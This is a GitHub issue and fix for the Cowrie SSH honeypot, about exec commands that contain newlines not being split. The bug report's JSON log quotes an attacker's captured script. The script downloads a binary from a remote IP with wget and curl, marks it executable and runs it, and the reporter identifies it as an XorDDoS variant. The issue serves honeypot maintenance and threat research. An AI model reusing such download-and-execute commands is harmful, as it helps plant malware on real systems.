Repository: cowrie/cowrie

Issue:
Failure to process multiple commands separated by a LF
**Describe the bug**

Just noticed the following SSH session in the JSON log:

```json
{"eventid": "cowrie.session.connect", "src_ip": "104.223.142.185", "src_port": 39191, "timestamp": "2019-07-08T05:52:52.258121Z", "message": "New connection: 104.223.142.185:39191 (192.168.0.6:22) [session: c936ee87fa9e]", "dst_ip": "192.168.0.6", "system": "cowrie.ssh.factory.CowrieSSHFactory", "protocol": "ssh", "isError": 0, "session": "c936ee87fa9e", "dst_port": 22, "sensor": "yoda"}
{"macCS": ["hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "session": "c936ee87fa9e", "kexAlgs": ["diffie-hellman-group14-sha1", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group1-sha1"], "message": "Remote SSH version: SSH-2.0-PUTTY", "system": "HoneyPotSSHTransport,2129,104.223.142.185", "src_ip": "104.223.142.185", "version": "SSH-2.0-PUTTY", "sensor": "yoda", "eventid": "cowrie.client.version", "timestamp": "2019-07-08T05:52:52.442134Z", "keyAlgs": ["ssh-rsa", "ssh-dss"], "isError": 0, "compCS": ["none"], "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"]}
{"eventid": "cowrie.login.success", "username": "root", "timestamp": "2019-07-08T05:52:53.940595Z", "message": "login attempt [root/_] succeeded", "system": "SSHService 'ssh-userauth' on HoneyPotSSHTransport,2129,104.223.142.185", "isError": 0, "src_ip": "104.223.142.185", "session": "c936ee87fa9e", "password": "_", "sensor": "yoda"}
{"eventid": "cowrie.command.input", "timestamp": "2019-07-08T05:52:54.973525Z", "message": "CMD: #!/bin/sh\nPATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\nwget http://104.223.142.185/a21jj\ncurl -O http://104.223.142.185/a21jj\nchmod +x a21jj\n./a21jj\n", "system": "SSHChannel session (0) on SSHService 'ssh-connection' on HoneyPotSSHTransport,2129,104.223.142.185", "isError": 0, "src_ip": "104.223.142.185", "session": "c936ee87fa9e", "input": "#!/bin/sh\nPATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\nwget http://104.223.142.185/a21jj\ncurl -O http://104.223.142.185/a21jj\nchmod +x a21jj\n./a21jj\n", "sensor": "yoda"}
{"eventid": "cowrie.command.input", "timestamp": "2019-07-08T05:52:55.923271Z", "message": "CMD: ls -la /var/run/gcc.pid", "system": "SSHChannel session (1) on SSHService 'ssh-connection' on HoneyPotSSHTransport,2129,104.223.142.185", "isError": 0, "src_ip": "104.223.142.185", "session": "c936ee87fa9e", "input": "ls -la /var/run/gcc.pid", "sensor": "yoda"}
{"eventid": "cowrie.session.closed", "timestamp": "2019-07-08T05:52:56.339826Z", "message": "Connection lost after 4 seconds", "system": "HoneyPotSSHTransport,2129,104.223.142.185", "isError": 0, "src_ip": "104.223.142.185", "duration": 4.080965995788574, "session": "c936ee87fa9e", "sensor": "yoda"} 
```

It is some XorDDoS variant. Notice how the attacker has issued an input command, consisting of multiple commands separated by a `\n` character. For some reason, Cowrie has failed to process this. There are `wget` and `curl` commands - but Cowrie has made no attempt to download from the URLs passed as their arguments - there is no `cowrie.command.success` event (or `cowrie.command.failed` event) and no `cowrie.session.file_download` or `cowrie.session.file_upload` events.

Is this some deficiency of the logging - or has Cowrie really failed to process these commands because they are a single line separated by a newline instead of by a semicolon?

**Expected behavior**

I would expect to see in the logs that the command have been successfully (or unsuccessfully) executed and the corresponding files - downloaded.

**Server (please complete the following information):**
 - OS: Linux yoda 4.15.0-52-generic #56~16.04.1-Ubuntu SMP Thu Jun 6 12:03:31 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
 - Python: Python 2.7.12



Discussion:
This is an exec command, right? Not an interactive session?
I can reproduce this for an exec command. Right now we don't split the exec requests by \n, and it's only interpreted as a single command. This means we'll need to fix this.

regards,

Michel. 

Resolving patch:
diff --git a/src/cowrie/shell/protocol.py b/src/cowrie/shell/protocol.py
--- a/src/cowrie/shell/protocol.py
+++ b/src/cowrie/shell/protocol.py
@@ -227,7 +227,9 @@ def connectionMade(self):
         HoneyPotBaseProtocol.connectionMade(self)
         self.setTimeout(60)
         self.cmdstack = [honeypot.HoneyPotShell(self, interactive=False)]
-        self.cmdstack[0].lineReceived(self.execcmd)
+        # TODO: quick and dirty fix to deal with \n separated commands
+        # HoneypotShell() needs a rewrite to better work with pending input
+        self.cmdstack[0].lineReceived("; ".join(self.execcmd.split('\n')))
 
     def keystrokeReceived(self, keyID, modifier):
         self.input_data += keyID


Test patch: